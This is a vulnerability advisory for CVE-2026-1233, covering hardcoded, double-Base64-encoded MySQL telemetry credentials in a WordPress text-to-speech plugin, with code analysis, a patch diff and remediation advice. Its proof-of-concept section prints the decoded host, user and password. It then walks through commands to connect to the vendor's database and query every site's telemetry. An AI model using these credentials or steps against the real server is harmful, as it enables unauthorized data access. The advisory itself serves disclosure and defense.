CVE-2026-1233: Hardcoded MySQL Credentials in TTS Plugin
Table of Contents
CVE-2026-1233 is a CVSS 7.5 (High) sensitive information exposure vulnerability in the Text to Speech – TTSWP WordPress plugin by Mementor. The plugin’s Mementor_TTS_Remote_Telemetry class contains hardcoded MySQL credentials for the vendor’s external telemetry server, protected only by double Base64 encoding — a trivial, reversible transformation. Any unauthenticated attacker who reads the plugin source code (freely downloadable from WordPress.org) can decode these credentials in seconds and connect directly to the vendor’s MySQL server, gaining access to the telemetry database that aggregates usage metadata from every site running the plugin.
Vulnerability Summary
| Field | Value |
|---|---|
| Plugin Name | Text to Speech – TTSWP |
| Plugin Slug | text-to-speech-tts |
| CVE ID | CVE-2026-1233 |
| CVSS Score | 7.5 (High) |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |
| Vulnerability Type | Use of Hard-coded Credentials (CWE-798) |
| Affected Versions | <= 1.9.8 |
| Patched Version | 1.9.9 |
| Published | April 3, 2026 |
| Last Updated | April 4, 2026 |
| Researcher | Kazuma Matsumoto — GMO Cybersecurity by IERAE, Inc. |
| Wordfence Advisory | Link |
| Patch Changeset | SVN r3453258 |
Description
The Text to Speech for WP (AI Voices by Mementor) plugin for WordPress is vulnerable to sensitive information exposure in all versions up to, and including, 1.9.8. This is due to the plugin containing hardcoded MySQL database credentials for the vendor’s external telemetry server in the Mementor_TTS_Remote_Telemetry class. This makes it possible for unauthenticated attackers to extract and decode these credentials, gaining unauthorized access to the vendor’s telemetry database.
The credentials are embedded directly in the plugin source code distributed to every WordPress site running the plugin. They are protected only by double Base64 encoding — a trivial, reversible transformation — meaning any party who can read the plugin’s PHP source (anyone who downloads the plugin from WordPress.org) can immediately decode and use the credentials to connect directly to the vendor’s MySQL server. No WordPress installation is required to exploit this; the plugin ZIP alone is sufficient.
Technical Analysis
Vulnerable File
includes/class-mementor-tts-remote-telemetry.php
This class (introduced in version 1.4.2) implements a telemetry system that daily aggregates plugin usage statistics from each WordPress installation and uploads them to the vendor’s remote MySQL database via a direct mysqli connection.
Vulnerable Class Properties
The class declares four private properties holding the double-Base64-encoded database credentials:
class Mementor_TTS_Remote_Telemetry {
/**
* Encrypted database credentials
* These are obfuscated to prevent easy access
*/
private $enc_host = 'YjNOc2J6SXViV1Z0Wlc1MGIzSXVibTg9';
private $enc_db = 'YldWdFpXNTBiM0pmZEhSemNHeDFaMmx1WkdGMFlRPT0=';
private $enc_user = 'YldWdFpXNTBiM0pmZEhSemNHeDFaMmx1WkdGMFlYVnpjZz09';
private $enc_pass = 'UlRWTWJtZHJkbHBoTkZGNldGUkxSRUptWlVZPQ==';
The developer comment — “These are obfuscated to prevent easy access” — reveals the intent but also the fundamental error: Base64 is encoding, not encryption. It requires no key, no secret, and is entirely reversible by anyone with an internet connection.
Vulnerable Function: insert_remote_data()
The insert_remote_data() private method, called daily by send_daily_telemetry() on a scheduled WordPress cron job, decodes these properties and opens a live mysqli connection directly from the WordPress server to the vendor’s database:
private function insert_remote_data($data) {
// Decrypt credentials
$host = base64_decode(base64_decode($this->enc_host));
$dbname = base64_decode(base64_decode($this->enc_db));
$username = base64_decode(base64_decode($this->enc_user));
$password = base64_decode(base64_decode($this->enc_pass));
// Create connection using mysqli
$mysqli = new mysqli($host, $username, $password, $dbname);
if ($mysqli->connect_error) {
if (mementor_tts_is_debug_enabled()) {
error_log('Mementor TTS: Failed to connect to telemetry database');
}
return false;
}
$mysqli->set_charset('utf8mb4');
$sql = "INSERT INTO {$this->table_name} (
domain, date, user_type, plugin_version, pro_version,
generations, characters_total, shared_api_uses, shared_api_characters,
pro_api_uses, pro_api_characters, user_api_uses, user_api_characters,
errors, php_version, wp_version, country, created_at
) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
ON DUPLICATE KEY UPDATE ...";
// Prepare and execute ...
}
Decoded Credentials
Applying base64_decode(base64_decode(...)) to each property yields the plaintext credentials embedded in the plugin:
| Property | Encoded Value | Decoded Value |
|---|---|---|
$enc_host | YjNOc2J6SXViV1Z0Wlc1MGIzSXVibTg9 | oslo2.mementor.no |
$enc_db | YldWdFpXNTBiM0pmZEhSemNHeDFaMmx1WkdGMFlRPT0= | mementor_ttsplugindata |
$enc_user | YldWdFpXNTBiM0pmZEhSemNHeDFaMmx1WkdGMFlYVnpjZz09 | mementor_ttsplugindatausr |
$enc_pass | UlRWTWJtZHJkbHBoTkZGNldGUkxSRUptWlVZPQ== | E5LngkvZa4QzXTKDBfeF |
Execution Path
WordPress cron: mementor_tts_send_remote_telemetry (daily)
└── Mementor_TTS_Remote_Telemetry::send_daily_telemetry()
└── $this->prepare_telemetry_data($usage_data)
└── $this->insert_remote_data($telemetry_data)
└── base64_decode(base64_decode($this->enc_*)) ← credentials decoded from source
└── new mysqli($host, $username, $password, $dbname) ← direct DB connection
└── INSERT INTO tts_usage_data (...)
The class is instantiated during plugin initialization, meaning the credentials are always present in the plugin’s distributed source code and accessible to any party who can read the plugin files — without any authentication to WordPress whatsoever.
Root Cause
The developer’s mistaken belief that Base64 encoding constitutes a meaningful security control. private class properties in PHP are only private within the running process — they are an OOP access modifier, not a security boundary. They do not prevent static analysis of the distributed source code. Since WordPress plugins are distributed as open-source ZIP archives on WordPress.org, every copy of the plugin includes the full plaintext-equivalent credentials for the vendor’s external MySQL server.
Why Existing Controls Failed
| Control | Why it failed |
|---|---|
private class properties | Restricts runtime access within PHP OOP only. Has zero effect on source code inspection or static analysis. |
| Double Base64 encoding | Not encryption. No key, no cipher. Base64 is a one-to-one encoding that any developer, script, or online tool can reverse in milliseconds. The source code comment even calls it “obfuscated to prevent easy access” — but it provides none. |
| No network-layer restriction | The MySQL port must be publicly reachable for this direct-connection model to function. With valid credentials, any IP can connect. |
Attack Impact
An unauthenticated attacker who reads the plugin source code can:
- Extract and decode the MySQL credentials from any installed copy of the plugin — or directly from the WordPress.org plugin repository ZIP, with no WordPress site required.
- Connect directly to the vendor’s MySQL server at
oslo2.mementor.noon port 3306 using the decoded credentials. - Read all telemetry data in the
tts_usage_datatable — including the domain names, WordPress versions, PHP versions, geographic country data, and API usage metrics of all sites running the plugin. - Write or modify records in the telemetry database via
INSERT ... ON DUPLICATE KEY UPDATE, poisoning the vendor’s analytics. - Potentially escalate if the database user holds broader MySQL privileges beyond the
tts_usage_datatable.
The primary confirmed impact (per CVSS C:H) is unauthorized read access to the vendor’s telemetry database, which aggregates sensitive site metadata from all plugin users.
Proof of Concept
Disclaimer: This PoC is provided for educational and defensive security research purposes only. The vendor has issued a patch (1.9.9) and should have rotated the exposed credentials. Do not attempt to access any system without explicit written authorization.
Prerequisites
- Access to the plugin ZIP for any version
<= 1.9.8(publicly available from WordPress.org SVN — no account required) - No WordPress installation required — the plugin files alone contain the credentials
- Standard tools:
curl,unzip,python3, and optionally amysqlclient
Step 1: Obtain the Plugin Source
Download any version of the plugin <= 1.9.8 directly from the WordPress.org plugin repository:
curl -L -o text-to-speech-tts-1.9.8.zip \
"https://downloads.wordpress.org/plugin/text-to-speech-tts.1.9.8.zip"
unzip text-to-speech-tts-1.9.8.zip
No authentication is required — the plugin is publicly distributed under an open-source license.
Step 2: Locate the Hardcoded Credentials
Inspect the telemetry class:
grep -A5 "enc_host" \
text-to-speech-tts/includes/class-mementor-tts-remote-telemetry.php
Expected output from the v1.9.8 source:
private $enc_host = 'YjNOc2J6SXViV1Z0Wlc1MGIzSXVibTg9';
private $enc_db = 'YldWdFpXNTBiM0pmZEhSemNHeDFaMmx1WkdGMFlRPT0=';
private $enc_user = 'YldWdFpXNTBiM0pmZEhSemNHeDFaMmx1WkdGMFlYVnpjZz09';
private $enc_pass = 'UlRWTWJtZHJkbHBoTkZGNldGUkxSRUptWlVZPQ==';
Step 3: Decode the Credentials
Replicate the plugin’s own decoding logic — base64_decode(base64_decode($value)):
import base64
encoded = {
'host': 'YjNOc2J6SXViV1Z0Wlc1MGIzSXVibTg9',
'db': 'YldWdFpXNTBiM0pmZEhSemNHeDFaMmx1WkdGMFlRPT0=',
'user': 'YldWdFpXNTBiM0pmZEhSemNHeDFaMmx1WkdGMFlYVnpjZz09',
'pass': 'UlRWTWJtZHJkbHBoTkZGNldGUkxSRUptWlVZPQ==',
}
for key, val in encoded.items():
decoded = base64.b64decode(base64.b64decode(val)).decode()
print(f"{key}: {decoded}")
Output:
host: oslo2.mementor.no
db: mementor_ttsplugindata
user: mementor_ttsplugindatausr
pass: E5LngkvZa4QzXTKDBfeF
Step 4: Connect to the Remote Database
With the decoded credentials, a standard MySQL client connects directly to the vendor’s server:
mysql -h oslo2.mementor.no \
-u mementor_ttsplugindatausr \
-p'E5LngkvZa4QzXTKDBfeF' \
mementor_ttsplugindata
For the plugin’s direct-connection model to have worked, port 3306 must have been publicly accessible. With valid credentials, this command yields an authenticated MySQL session.
Step 5: Extract Telemetry Data
Once connected, an attacker can query all collected telemetry across every plugin user’s site:
SELECT domain, date, user_type, plugin_version, wp_version,
php_version, country, generations, characters_total
FROM tts_usage_data
ORDER BY date DESC;
This exposes the domain names, software versions, geographic locations, and usage statistics for every WordPress installation that ran the plugin.
Expected Result
The attacker obtains authenticated MySQL access to the vendor’s external telemetry database, gaining the ability to read usage metadata for all plugin users and to write or modify telemetry records.
Verification
Successful exploitation is confirmed by receiving a mysql> shell prompt after Step 4, with the ability to execute SHOW TABLES; and SELECT queries against mementor_ttsplugindata.
Patch Analysis
What Changed
Modified file: includes/class-mementor-tts-remote-telemetry.php
The patch makes a single architectural change: it removes the direct MySQL connection model entirely and replaces it with an HTTPS API call. No credentials of any kind are shipped in the distributed plugin code.
Fix Explanation
In version 1.9.9, all four hardcoded credential properties are removed from the class and replaced with a single HTTPS endpoint URL:
- /**
- * Encrypted database credentials
- * These are obfuscated to prevent easy access
- */
- private $enc_host = 'YjNOc2J6SXViV1Z0Wlc1MGIzSXVibTg9';
- private $enc_db = 'YldWdFpXNTBiM0pmZEhSemNHeDFaMmx1WkdGMFlRPT0=';
- private $enc_user = 'YldWdFpXNTBiM0pmZEhSemNHeDFaMmx1WkdGMFlYVnpjZz09';
- private $enc_pass = 'UlRWTWJtZHJkbHBoTkZGNldGUkxSRUptWlVZPQ==';
+ /**
+ * Remote telemetry API endpoint
+ * Uses secure HTTPS API instead of direct database connection
+ */
+ private $api_endpoint = 'https://crm.mementor.no/plugin/api/telemetry/v1/collect.php';
The insert_remote_data() method no longer decodes credentials or opens a raw TCP connection to MySQL. Instead, it builds a signed HTTPS POST request using WordPress’s wp_remote_post():
- private function insert_remote_data($data) {
- $host = base64_decode(base64_decode($this->enc_host));
- $username = base64_decode(base64_decode($this->enc_user));
- $password = base64_decode(base64_decode($this->enc_pass));
- $dbname = base64_decode(base64_decode($this->enc_db));
- $mysqli = new mysqli($host, $username, $password, $dbname);
- // ... INSERT INTO tts_usage_data ...
+ private function insert_remote_data($data) {
+ $timestamp = time();
+ $nonce = wp_generate_password(16, false);
+ $signature = hash_hmac('sha256', $data['domain'] . $timestamp . $nonce, 'mementor_tts_telemetry_v1');
+ $response = wp_remote_post($this->api_endpoint, array(
+ 'body' => wp_json_encode(array(
+ 'telemetry_data' => $data,
+ 'timestamp' => $timestamp,
+ 'nonce' => $nonce,
+ 'signature' => $signature,
+ 'api_version' => '1.0'
+ )),
+ 'sslverify' => true,
+ ));
+ $response_code = wp_remote_retrieve_response_code($response);
+ return ($response_code >= 200 && $response_code < 300);
+ }
The fix is architecturally correct: by interposing an HTTPS API endpoint on the vendor’s server, the plugin no longer needs to distribute any database credentials at all.
Code Diff (Key Changes)
@@ -21,14 +21,11 @@
- /**
- * Encrypted database credentials
- * These are obfuscated to prevent easy access
- */
- private $enc_host = 'YjNOc2J6SXViV1Z0Wlc1MGIzSXVibTg9';
- private $enc_db = 'YldWdFpXNTBiM0pmZEhSemNHeDFaMmx1WkdGMFlRPT0=';
- private $enc_user = 'YldWdFpXNTBiM0pmZEhSemNHeDFaMmx1WkdGMFlYVnpjZz09';
- private $enc_pass = 'UlRWTWJtZHJkbHBoTkZGNldGUkxSRUptWlVZPQ==';
-
- /**
- * Table name for telemetry data
+ /**
+ * Remote telemetry API endpoint
+ * Uses secure HTTPS API instead of direct database connection
+ */
+ private $api_endpoint = 'https://crm.mementor.no/plugin/api/telemetry/v1/collect.php';
+ /**
+ * Table name for telemetry data (used for reference only)
*/
@@ -266,100 +263,73 @@
- private function insert_remote_data($data) {
- $host = base64_decode(base64_decode($this->enc_host));
- $dbname = base64_decode(base64_decode($this->enc_db));
- $username = base64_decode(base64_decode($this->enc_user));
- $password = base64_decode(base64_decode($this->enc_pass));
- $mysqli = new mysqli($host, $username, $password, $dbname);
- if ($mysqli->connect_error) { ... return false; }
- $mysqli->set_charset('utf8mb4');
- $sql = "INSERT INTO tts_usage_data (...) VALUES (?) ON DUPLICATE KEY UPDATE ...";
- $stmt = $mysqli->prepare($sql);
- $stmt->bind_param('sssssiiiiiiiissss', ...);
- $result = $stmt->execute();
- $stmt->close(); $mysqli->close();
- return $result;
- }
+ private function insert_remote_data($data) {
+ $timestamp = time();
+ $nonce = wp_generate_password(16, false);
+ $signature = hash_hmac('sha256', $data['domain'] . $timestamp . $nonce, 'mementor_tts_telemetry_v1');
+ $response = wp_remote_post($this->api_endpoint, array(
+ 'method' => 'POST',
+ 'timeout' => 15,
+ 'headers' => array('Content-Type' => 'application/json', ...),
+ 'body' => wp_json_encode(array('telemetry_data' => $data, ...)),
+ 'sslverify' => true
+ ));
+ $response_code = wp_remote_retrieve_response_code($response);
+ return ($response_code >= 200 && $response_code < 300);
+ }
Residual Risks
- The HMAC signature key (
mementor_tts_telemetry_v1) is still hardcoded in the patched source. Since it is used only for request signing (not database access), its exposure is a significantly lower-severity concern than the original credential leak — but ideally it would also be rotated server-side. - The vendor must ensure the compromised MySQL credentials have been rotated and that port 3306 at
oslo2.mementor.nois no longer exposed to the public internet.
Timeline
| Date | Event |
|---|---|
| Unknown | Vulnerability introduced — Mementor_TTS_Remote_Telemetry class present since version 1.4.2 |
| 2026-02-02 | Version 1.9.8 released (last vulnerable version) |
| 2026-02-03 | Patched version 1.9.9 released (SVN changeset r3453258) |
| 2026-04-03 | CVE-2026-1233 publicly disclosed by Wordfence |
| 2026-04-04 | Wordfence advisory last updated |
Remediation
Update the text-to-speech-tts plugin to version 1.9.9 or later immediately.
Vendors maintaining telemetry in plugins should:
- Never embed database credentials (or any secret) in distributed plugin source code — there is no safe way to do so
- Use a server-side API endpoint as an intermediary (as done in the patch)
- Treat Base64 encoding as transparent to any adversary; it is not obfuscation in any practical sense
- Rotate all credentials that were exposed in prior versions